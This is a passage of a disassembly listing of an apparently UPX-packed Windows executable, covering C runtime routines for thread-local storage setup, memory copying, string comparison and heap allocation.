mov byte ptr [esi+14Bh], 43h
mov dword ptr [esi+68h], offset dword_42A6D0
push 0Dh
call sub_40CFA9
pop ecx
and [ebp+ms_exc.disabled], 0
push dword ptr [esi+68h]
call dword_41D21C ; InterlockedIncrement
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_40E304
push 0Ch
call sub_40CFA9
pop ecx
mov [ebp+ms_exc.disabled], edi
mov eax, [ebp+arg_4]
mov [esi+6Ch], eax
test eax, eax
jnz short loc_40E2E3
mov eax, off_42ACD8
mov [esi+6Ch], eax
loc_40E2E3: ; CODE XREF: sub_40E22F+AAj
push dword ptr [esi+6Ch]
call sub_412329
pop ecx
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_40E30D
call __SEH_epilog4
retn
sub_40E22F endp
; =============== S U B R O U T I N E =======================================
sub_40E2FE proc near ; DATA XREF: UPX0:00426978o
xor edi, edi
inc edi
mov esi, [ebp+8]
sub_40E2FE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40E304 proc near ; CODE XREF: sub_40E22F+92p
push 0Dh
call sub_40CECF
pop ecx
retn
sub_40E304 endp
; =============== S U B R O U T I N E =======================================
sub_40E30D proc near ; CODE XREF: sub_40E22F+C4p
; DATA XREF: UPX0:00426984o
push 0Ch
call sub_40CECF
pop ecx
retn
sub_40E30D endp
; =============== S U B R O U T I N E =======================================
sub_40E316 proc near ; CODE XREF: sub_40C862p sub_40C875p ...
mov edi, edi
push esi
push edi
call dword_41D1D8 ; RtlGetLastWin32Error
push dword_42A3A0
mov edi, eax
call sub_40E1BE
call eax
mov esi, eax
test esi, esi
jnz short loc_40E383
push 214h
push 1
call sub_40EF6F
mov esi, eax
pop ecx
pop ecx
test esi, esi
jz short loc_40E383
push esi
push dword_42A3A0
push dword_42EBD8
call sub_40E143
pop ecx
call eax
test eax, eax
jz short loc_40E37A
push 0
push esi
call sub_40E22F
pop ecx
pop ecx
call dword_41D1C4 ; GetCurrentThreadId
or dword ptr [esi+4], 0FFFFFFFFh
mov [esi], eax
jmp short loc_40E383
; ---------------------------------------------------------------------------
loc_40E37A: ; CODE XREF: sub_40E316+4Aj
push esi
call sub_40ADC8
pop ecx
xor esi, esi
loc_40E383: ; CODE XREF: sub_40E316+1Dj
; sub_40E316+31j ...
push edi
call dword_41D1D0 ; RtlSetLastWin32Error
pop edi
mov eax, esi
pop esi
retn
sub_40E316 endp
; =============== S U B R O U T I N E =======================================
sub_40E38F proc near ; CODE XREF: sub_40C17D+8Bp
; sub_40C368+Ep ...
mov edi, edi
push esi
call sub_40E316
mov esi, eax
test esi, esi
jnz short loc_40E3A5
push 10h
call sub_40DAD0
pop ecx
loc_40E3A5: ; CODE XREF: sub_40E38F+Cj
mov eax, esi
pop esi
retn
sub_40E38F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E3A9 proc near ; DATA XREF: sub_40E4D8+11Eo
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
push 8
push offset dword_426988
call __SEH_prolog4
mov esi, [ebp+arg_0]
test esi, esi
jz loc_40E4B8
mov eax, [esi+24h]
test eax, eax
jz short loc_40E3CE
push eax
call sub_40ADC8
pop ecx
loc_40E3CE: ; CODE XREF: sub_40E3A9+1Cj
mov eax, [esi+2Ch]
test eax, eax
jz short loc_40E3DC
push eax
call sub_40ADC8
pop ecx
loc_40E3DC: ; CODE XREF: sub_40E3A9+2Aj
mov eax, [esi+34h]
test eax, eax
jz short loc_40E3EA
push eax
call sub_40ADC8
pop ecx
loc_40E3EA: ; CODE XREF: sub_40E3A9+38j
mov eax, [esi+3Ch]
test eax, eax
jz short loc_40E3F8
push eax
call sub_40ADC8
pop ecx
loc_40E3F8: ; CODE XREF: sub_40E3A9+46j
mov eax, [esi+40h]
test eax, eax
jz short loc_40E406
push eax
call sub_40ADC8
pop ecx
loc_40E406: ; CODE XREF: sub_40E3A9+54j
mov eax, [esi+44h]
test eax, eax
jz short loc_40E414
push eax
call sub_40ADC8
pop ecx
loc_40E414: ; CODE XREF: sub_40E3A9+62j
mov eax, [esi+48h]
test eax, eax
jz short loc_40E422
push eax
call sub_40ADC8
pop ecx
loc_40E422: ; CODE XREF: sub_40E3A9+70j
mov eax, [esi+5Ch]
cmp eax, offset dword_41DC28
jz short loc_40E433
push eax
call sub_40ADC8
pop ecx
loc_40E433: ; CODE XREF: sub_40E3A9+81j
push 0Dh
call sub_40CFA9
pop ecx
and [ebp+ms_exc.disabled], 0
mov edi, [esi+68h]
test edi, edi
jz short loc_40E460
push edi
call dword_41D218 ; InterlockedDecrement
test eax, eax
jnz short loc_40E460
cmp edi, offset dword_42A6D0
jz short loc_40E460
push edi
call sub_40ADC8
pop ecx
loc_40E460: ; CODE XREF: sub_40E3A9+9Bj
; sub_40E3A9+A6j ...
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_40E4C3
push 0Ch
call sub_40CFA9
pop ecx
mov [ebp+ms_exc.disabled], 1
mov edi, [esi+6Ch]
test edi, edi
jz short loc_40E4A5
push edi
call sub_4123B8
pop ecx
cmp edi, off_42ACD8
jz short loc_40E4A5
cmp edi, offset dword_42AC00
jz short loc_40E4A5
cmp dword ptr [edi], 0
jnz short loc_40E4A5
push edi
call sub_4121E0
pop ecx
loc_40E4A5: ; CODE XREF: sub_40E3A9+D7j
; sub_40E3A9+E6j ...
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_40E4CF
push esi
call sub_40ADC8
pop ecx
loc_40E4B8: ; CODE XREF: sub_40E3A9+11j
call __SEH_epilog4
retn 4
sub_40E3A9 endp
; =============== S U B R O U T I N E =======================================
sub_40E4C0 proc near ; DATA XREF: UPX0:004269A0o
mov esi, [ebp+8]
sub_40E4C0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40E4C3 proc near ; CODE XREF: sub_40E3A9+BEp
push 0Dh
call sub_40CECF
pop ecx
retn
sub_40E4C3 endp
; =============== S U B R O U T I N E =======================================
sub_40E4CC proc near ; DATA XREF: UPX0:004269ACo
mov esi, [ebp+8]
sub_40E4CC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40E4CF proc near ; CODE XREF: sub_40E3A9+103p
push 0Ch
call sub_40CECF
pop ecx
retn
sub_40E4CF endp
; =============== S U B R O U T I N E =======================================
sub_40E4D8 proc near ; CODE XREF: UPX0:loc_40BC37p
mov edi, edi
push esi
push edi
mov esi, offset off_41DBAC
push esi
call dword_41D078 ; GetModuleHandleW
test eax, eax
jnz short loc_40E4F3
push esi
call sub_40DAA0
pop ecx
loc_40E4F3: ; CODE XREF: sub_40E4D8+12j
mov edi, eax
test edi, edi
jz loc_40E65B
mov esi, dword_41D0D8
push offset aFlsalloc ; "FlsAlloc"
push edi
call esi ; dword_41D0D8
push offset aFlsgetvalue ; "FlsGetValue"
push edi
mov dword_42EBD0, eax
call esi ; dword_41D0D8
push offset aFlssetvalue ; "FlsSetValue"
push edi
mov dword_42EBD4, eax
call esi ; dword_41D0D8
push offset aFlsfree ; "FlsFree"
push edi
mov dword_42EBD8, eax
call esi ; dword_41D0D8
cmp dword_42EBD0, 0
mov esi, dword_41D174
mov dword_42EBDC, eax
jz short loc_40E55C
cmp dword_42EBD4, 0
jz short loc_40E55C
cmp dword_42EBD8, 0
jz short loc_40E55C
test eax, eax
jnz short loc_40E580
loc_40E55C: ; CODE XREF: sub_40E4D8+6Cj
; sub_40E4D8+75j ...
mov eax, dword_41D17C
mov dword_42EBD4, eax
mov eax, dword_41D170
mov dword_42EBD0, offset sub_40E1B5
mov dword_42EBD8, esi
mov dword_42EBDC, eax
loc_40E580: ; CODE XREF: sub_40E4D8+82j
call dword_41D178 ; TlsAlloc
mov dword_42A3A4, eax
cmp eax, 0FFFFFFFFh
jz loc_40E660
push dword_42EBD4
push eax
call esi ; dword_41D174
test eax, eax
jz loc_40E660
call sub_40DD8A
push dword_42EBD0
call sub_40E0C8
push dword_42EBD4
mov dword_42EBD0, eax
call sub_40E0C8
push dword_42EBD8
mov dword_42EBD4, eax
call sub_40E0C8
push dword_42EBDC
mov dword_42EBD8, eax
call sub_40E0C8
add esp, 10h
mov dword_42EBDC, eax
call sub_40CE2D
test eax, eax
jz short loc_40E65B
push offset sub_40E3A9
push dword_42EBD0
call sub_40E143
pop ecx
call eax ; TlsFree
mov dword_42A3A0, eax
cmp eax, 0FFFFFFFFh
jz short loc_40E65B
push 214h
push 1
call sub_40EF6F
mov esi, eax
pop ecx
pop ecx
test esi, esi
jz short loc_40E65B
push esi
push dword_42A3A0
push dword_42EBD8
call sub_40E143
pop ecx
call eax ; TlsFree
test eax, eax
jz short loc_40E65B
push 0
push esi
call sub_40E22F
pop ecx
pop ecx
call dword_41D1C4 ; GetCurrentThreadId
or dword ptr [esi+4], 0FFFFFFFFh
mov [esi], eax
xor eax, eax
inc eax
jmp short loc_40E662
; ---------------------------------------------------------------------------
loc_40E65B: ; CODE XREF: sub_40E4D8+1Fj
; sub_40E4D8+11Cj ...
call sub_40E1F2
loc_40E660: ; CODE XREF: sub_40E4D8+B6j
; sub_40E4D8+C7j
xor eax, eax
loc_40E662: ; CODE XREF: sub_40E4D8+181j
pop edi
pop esi
retn
sub_40E4D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E665 proc near ; CODE XREF: sub_40B28B+47p
; sub_40B649+3Dp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
push 10h
push offset dword_4269B0
call __SEH_prolog4
xor eax, eax
mov ebx, [ebp+arg_0]
xor edi, edi
cmp ebx, edi
setnz al
cmp eax, edi
jnz short loc_40E69E
call sub_40C862
mov dword ptr [eax], 16h
push edi
push edi
push edi
push edi
push edi
call sub_40B255
add esp, 14h
or eax, 0FFFFFFFFh
jmp short loc_40E6F1
; ---------------------------------------------------------------------------
loc_40E69E: ; CODE XREF: sub_40E665+1Aj
cmp dword_430290, 3
jnz short loc_40E6DF
push 4
call sub_40CFA9
pop ecx
mov [ebp+ms_exc.disabled], edi
push ebx
call sub_40CFDC
pop ecx
mov [ebp+var_20], eax
cmp eax, edi
jz short loc_40E6CB
mov esi, [ebx-4]
sub esi, 9
mov [ebp+var_1C], esi
jmp short loc_40E6CE
; ---------------------------------------------------------------------------
loc_40E6CB: ; CODE XREF: sub_40E665+59j
mov esi, [ebp+var_1C]
loc_40E6CE: ; CODE XREF: sub_40E665+64j
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_40E6FF
cmp [ebp+var_20], edi
jnz short loc_40E6EF
loc_40E6DF: ; CODE XREF: sub_40E665+40j
push ebx
push edi
push dword_42E724
call dword_41D16C ; RtlSizeHeap
mov esi, eax
loc_40E6EF: ; CODE XREF: sub_40E665+78j
mov eax, esi
loc_40E6F1: ; CODE XREF: sub_40E665+37j
call __SEH_epilog4
retn
sub_40E665 endp
; =============== S U B R O U T I N E =======================================
sub_40E6F7 proc near ; DATA XREF: UPX0:004269C8o
xor edi, edi
mov ebx, [ebp+8]
mov esi, [ebp-1Ch]
sub_40E6F7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40E6FF proc near ; CODE XREF: sub_40E665+70p
push 4
call sub_40CECF
pop ecx
retn
sub_40E6FF endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E710 proc near ; CODE XREF: sub_40B376+45p
; sub_40B8A1+A5p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_40E730
cmp edi, eax
jb loc_40E8D4
loc_40E730: ; CODE XREF: sub_40E710+16j
cmp ecx, 100h
jb short loc_40E757
cmp dword_430144, 0
jz short loc_40E757
push edi
push esi
and edi, 0Fh
and esi, 0Fh
cmp edi, esi
pop esi
pop edi
jnz short loc_40E757
pop esi
pop edi
pop ebp
jmp sub_41350E
; ---------------------------------------------------------------------------
loc_40E757: ; CODE XREF: sub_40E710+26j
; sub_40E710+2Fj ...
test edi, 3
jnz short loc_40E774
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_40E794
rep movsd
jmp off_40E884[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_40E774: ; CODE XREF: sub_40E710+4Dj
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_40E78C
and eax, 3
add ecx, eax
jmp dword ptr loc_40E794+4[eax*4]
; ---------------------------------------------------------------------------
loc_40E78C: ; CODE XREF: sub_40E710+6Ej
jmp dword ptr loc_40E894[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_40E794: ; CODE XREF: sub_40E710+58j
; sub_40E710+B6j ...
jmp off_40E818[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_40E7A8
dd offset loc_40E7D4
dd offset loc_40E7F8
; ---------------------------------------------------------------------------
loc_40E7A8: ; DATA XREF: sub_40E710+8Co
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_40E794
rep movsd
jmp off_40E884[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_40E7D4: ; DATA XREF: sub_40E710+90o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_40E794
rep movsd
jmp off_40E884[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_40E7F8: ; DATA XREF: sub_40E710+94o
and edx, ecx
mov al, [esi]
mov [edi], al
add esi, 1
shr ecx, 2
add edi, 1
cmp ecx, 8
jb short loc_40E794
rep movsd
jmp off_40E884[edx*4]
; ---------------------------------------------------------------------------
align 4
off_40E818 dd offset loc_40E87B ; DATA XREF: sub_40E710:loc_40E794r
dd offset loc_40E868
dd offset loc_40E860
dd offset loc_40E858
dd offset loc_40E850
dd offset loc_40E848
dd offset loc_40E840
dd offset loc_40E838
; ---------------------------------------------------------------------------
loc_40E838: ; CODE XREF: sub_40E710:loc_40E794j
; DATA XREF: sub_40E710+124o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_40E840: ; CODE XREF: sub_40E710:loc_40E794j
; DATA XREF: sub_40E710+120o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_40E848: ; CODE XREF: sub_40E710:loc_40E794j
; DATA XREF: sub_40E710+11Co
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_40E850: ; CODE XREF: sub_40E710:loc_40E794j
; DATA XREF: sub_40E710+118o
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_40E858: ; CODE XREF: sub_40E710:loc_40E794j
; DATA XREF: sub_40E710+114o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_40E860: ; CODE XREF: sub_40E710:loc_40E794j
; DATA XREF: sub_40E710+110o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_40E868: ; CODE XREF: sub_40E710:loc_40E794j
; DATA XREF: sub_40E710+10Co
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_40E87B: ; CODE XREF: sub_40E710:loc_40E794j
; DATA XREF: sub_40E710:off_40E818o
jmp off_40E884[edx*4]
; ---------------------------------------------------------------------------
align 4
off_40E884 dd offset loc_40E894 ; DATA XREF: sub_40E710+5Cr
; sub_40E710+BAr ...
dd offset loc_40E89C
dd offset loc_40E8A8
dd offset loc_40E8BC
; ---------------------------------------------------------------------------
loc_40E894: ; CODE XREF: sub_40E710+5Cj
; sub_40E710+BAj ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_40E89C: ; CODE XREF: sub_40E710+5Cj
; sub_40E710+BAj ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_40E8A8: ; CODE XREF: sub_40E710+5Cj
; sub_40E710+BAj ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_40E8BC: ; CODE XREF: sub_40E710+5Cj
; sub_40E710+BAj ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_40E8D4: ; CODE XREF: sub_40E710+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_40E908
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_40E8FC
std
rep movsd
cld
jmp off_40EA20[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_40E8FC: ; CODE XREF: sub_40E710+1DDj
; sub_40E710+238j ...
neg ecx
jmp off_40E9D0[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_40E908: ; CODE XREF: sub_40E710+1D2j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_40E920
and eax, 3
sub ecx, eax
jmp dword ptr loc_40E920+4[eax*4]
; ---------------------------------------------------------------------------
loc_40E920: ; CODE XREF: sub_40E710+202j
; DATA XREF: sub_40E710+209r
jmp off_40EA20[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_40E933+1
dd offset loc_40E958
; ---------------------------------------------------------------------------
sub cl, 40h
loc_40E933: ; DATA XREF: sub_40E710+218o
add [edx-2EDCFCBAh], cl
mov [edi+3], al
sub esi, 1
shr ecx, 2
sub edi, 1
cmp ecx, 8
jb short loc_40E8FC
std
rep movsd
cld
jmp off_40EA20[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_40E958: ; DATA XREF: sub_40E710+21Co
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_40E8FC
std
rep movsd
cld
jmp off_40EA20[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_40E8FC
std
rep movsd
cld
jmp off_40EA20[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_40E9D4
dd offset loc_40E9DC
dd offset loc_40E9E4
dd offset loc_40E9EC
dd offset loc_40E9F4
dd offset loc_40E9FC
dd offset loc_40EA04
off_40E9D0 dd offset loc_40EA17 ; DATA XREF: sub_40E710+1EEr
; ---------------------------------------------------------------------------
loc_40E9D4: ; DATA XREF: sub_40E710+2A4o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_40E9DC: ; DATA XREF: sub_40E710+2A8o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_40E9E4: ; DATA XREF: sub_40E710+2ACo
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_40E9EC: ; DATA XREF: sub_40E710+2B0o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_40E9F4: ; DATA XREF: sub_40E710+2B4o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_40E9FC: ; DATA XREF: sub_40E710+2B8o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_40EA04: ; DATA XREF: sub_40E710+2BCo
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_40EA17: ; CODE XREF: sub_40E710+1EEj
; DATA XREF: sub_40E710:off_40E9D0o
jmp off_40EA20[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_40EA20 dd offset loc_40EA30 ; DATA XREF: sub_40E710+1E3r
; sub_40E710:loc_40E920r ...
dd offset loc_40EA38
dd offset loc_40EA48
dd offset loc_40EA5C
; ---------------------------------------------------------------------------
loc_40EA30: ; CODE XREF: sub_40E710+1E3j
; sub_40E710:loc_40E920j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_40EA38: ; CODE XREF: sub_40E710+1E3j
; sub_40E710:loc_40E920j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_40EA48: ; CODE XREF: sub_40E710+1E3j
; sub_40E710:loc_40E920j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_40EA5C: ; CODE XREF: sub_40E710+1E3j
; sub_40E710:loc_40E920j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_40E710 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EA75 proc near ; CODE XREF: sub_40B3F3+9p
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
push 0Ch
push offset dword_4269D0
call __SEH_prolog4
push 0Eh
call sub_40CFA9
pop ecx
and [ebp+ms_exc.disabled], 0
mov esi, [ebp+arg_0]
mov ecx, [esi+4]
test ecx, ecx
jz short loc_40EAC6
mov eax, dword_42EBE4
mov edx, offset dword_42EBE0
loc_40EAA1: ; CODE XREF: sub_40EA75+65j
mov [ebp+var_1C], eax
test eax, eax
jz short loc_40EAB9
cmp [eax], ecx
jnz short loc_40EAD8
mov ecx, [eax+4]
mov [edx+4], ecx
push eax
call sub_40ADC8
pop ecx
loc_40EAB9: ; CODE XREF: sub_40EA75+31j
push dword ptr [esi+4]
call sub_40ADC8
pop ecx
and dword ptr [esi+4], 0
loc_40EAC6: ; CODE XREF: sub_40EA75+20j
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_40EADC
call __SEH_epilog4
retn
; ---------------------------------------------------------------------------
loc_40EAD8: ; CODE XREF: sub_40EA75+35j
mov edx, eax
jmp short loc_40EAA1
sub_40EA75 endp
; =============== S U B R O U T I N E =======================================
sub_40EADC proc near ; CODE XREF: sub_40EA75+58p
; DATA XREF: UPX0:004269E8o
push 0Eh
call sub_40CECF
pop ecx
retn
sub_40EADC endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40EAF0 proc near ; CODE XREF: sub_40B424+10p
; sub_4101FD+28p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_40EB3C
loc_40EB00: ; CODE XREF: sub_40EAF0+3Cj
; sub_40EAF0+6Aj ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_40EB34
or al, al
jz short loc_40EB30
cmp ah, [ecx+1]
jnz short loc_40EB34
or ah, ah
jz short loc_40EB30
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_40EB34
or al, al
jz short loc_40EB30
cmp ah, [ecx+3]
jnz short loc_40EB34
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_40EB00
mov edi, edi
loc_40EB30: ; CODE XREF: sub_40EAF0+18j
; sub_40EAF0+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_40EB34: ; CODE XREF: sub_40EAF0+14j
; sub_40EAF0+1Dj ...
sbb eax, eax
shl eax, 1
add eax, 1
retn
; ---------------------------------------------------------------------------
loc_40EB3C: ; CODE XREF: sub_40EAF0+Ej
test edx, 1
jz short loc_40EB5C
mov al, [edx]
add edx, 1
cmp al, [ecx]
jnz short loc_40EB34
add ecx, 1
or al, al
jz short loc_40EB30
test edx, 2
jz short loc_40EB00
loc_40EB5C: ; CODE XREF: sub_40EAF0+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_40EB34
or al, al
jz short loc_40EB30
cmp ah, [ecx+1]
jnz short loc_40EB34
or ah, ah
jz short loc_40EB30
add ecx, 2
jmp short loc_40EB00
sub_40EAF0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EB78 proc near ; CODE XREF: sub_40B5BD+15p
; sub_40EF6F+11p
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
; FUNCTION CHUNK AT 0040EC7D SIZE 00000019 BYTES
push 0Ch
push offset dword_4269F0
call __SEH_prolog4
mov ecx, [ebp+arg_0]
xor edi, edi
cmp ecx, edi
jbe short loc_40EBBB
push 0FFFFFFE0h
pop eax
xor edx, edx
div ecx
cmp eax, [ebp+arg_4]
sbb eax, eax
inc eax
jnz short loc_40EBBB
call sub_40C862
mov dword ptr [eax], 0Ch
push edi
push edi
push edi
push edi
push edi
call sub_40B255
add esp, 14h
loc_40EBB4: ; CODE XREF: sub_40EB78+E6j
; sub_40EB78+F2j
xor eax, eax
jmp loc_40EC90
; ---------------------------------------------------------------------------
loc_40EBBB: ; CODE XREF: sub_40EB78+13j
; sub_40EB78+22j
imul ecx, [ebp+arg_4]
mov esi, ecx
mov [ebp+arg_0], esi
cmp esi, edi
jnz short loc_40EBCB
xor esi, esi
inc esi
loc_40EBCB: ; CODE XREF: sub_40EB78+4Ej
; sub_40EB78+DBj
xor ebx, ebx
mov [ebp+var_1C], ebx
cmp esi, 0FFFFFFE0h
ja short loc_40EC3E
cmp dword_430290, 3
jnz short loc_40EC29
add esi, 0Fh
and esi, 0FFFFFFF0h
mov [ebp+arg_4], esi
mov eax, [ebp+arg_0]
cmp eax, dword_430280
ja short loc_40EC29
push 4
call sub_40CFA9
pop ecx
mov [ebp+ms_exc.disabled], edi
push [ebp+arg_0]
call sub_40D7BB
pop ecx
mov [ebp+var_1C], eax
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_40EC74
mov ebx, [ebp+var_1C]
cmp ebx, edi
jz short loc_40EC2D
push [ebp+arg_0]
push edi
push ebx
call sub_40BD40
add esp, 0Ch
loc_40EC29: ; CODE XREF: sub_40EB78+64j
; sub_40EB78+78j
cmp ebx, edi
jnz short loc_40EC8E
loc_40EC2D: ; CODE XREF: sub_40EB78+A2j
push esi
push 8
push dword_42E724
call dword_41D0D4 ; RtlAllocateHeap
mov ebx, eax
loc_40EC3E: ; CODE XREF: sub_40EB78+5Bj
cmp ebx, edi
jnz short loc_40EC8E
cmp dword_42EBC8, edi
jz short loc_40EC7D
push esi
call sub_40DFCB
pop ecx
test eax, eax
jnz loc_40EBCB
mov eax, [ebp+arg_8]
cmp eax, edi
jz loc_40EBB4
mov dword ptr [eax], 0Ch
jmp loc_40EBB4
sub_40EB78 endp
; =============== S U B R O U T I N E =======================================
sub_40EC6F proc near ; DATA XREF: UPX0:00426A08o
xor edi, edi
mov esi, [ebp+0Ch]
sub_40EC6F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40EC74 proc near ; CODE XREF: sub_40EB78+98p
push 4
call sub_40CECF
pop ecx
retn
sub_40EC74 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_40EB78
loc_40EC7D: ; CODE XREF: sub_40EB78+D0j
cmp ebx, edi
jnz short loc_40EC8E
mov eax, [ebp+arg_8]
cmp eax, edi
jz short loc_40EC8E
mov dword ptr [eax], 0Ch
loc_40EC8E: ; CODE XREF: sub_40EB78+B3j
; sub_40EB78+C8j ...
mov eax, ebx
loc_40EC90: ; CODE XREF: sub_40EB78+3Ej
call __SEH_epilog4
retn
; END OF FUNCTION CHUNK FOR sub_40EB78
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EC96 proc near ; CODE XREF: sub_40ED0F+122p
; sub_40ED0F+1EEp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
xor esi, esi
cmp [ebp+arg_0], esi
jnz short loc_40ECC2
loc_40ECA5: ; CODE XREF: sub_40EC96+2Fj
call sub_40C862
push esi
push esi
push esi
push esi
push esi
mov dword ptr [eax], 16h
call sub_40B255
add esp, 14h
loc_40ECBD: ; CODE XREF: sub_40EC96+4Dj
or eax, 0FFFFFFFFh
jmp short loc_40ED0C
; ---------------------------------------------------------------------------
loc_40ECC2: ; CODE XREF: sub_40EC96+Dj
cmp [ebp+arg_4], esi
jz short loc_40ECA5
push [ebp+arg_0]
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push [ebp+arg_8]
push [ebp+arg_4]
call sub_413E93
add esp, 14h
cmp eax, 0FFFFFFFFh
jz short loc_40ECBD
push [ebp+var_8]
push [ebp+var_4]
push [ebp+arg_0]
push 2
call sub_413C84
push [ebp+var_4]
mov esi, eax
call sub_40ADC8
push [ebp+var_8]
call sub_40ADC8
add esp, 18h
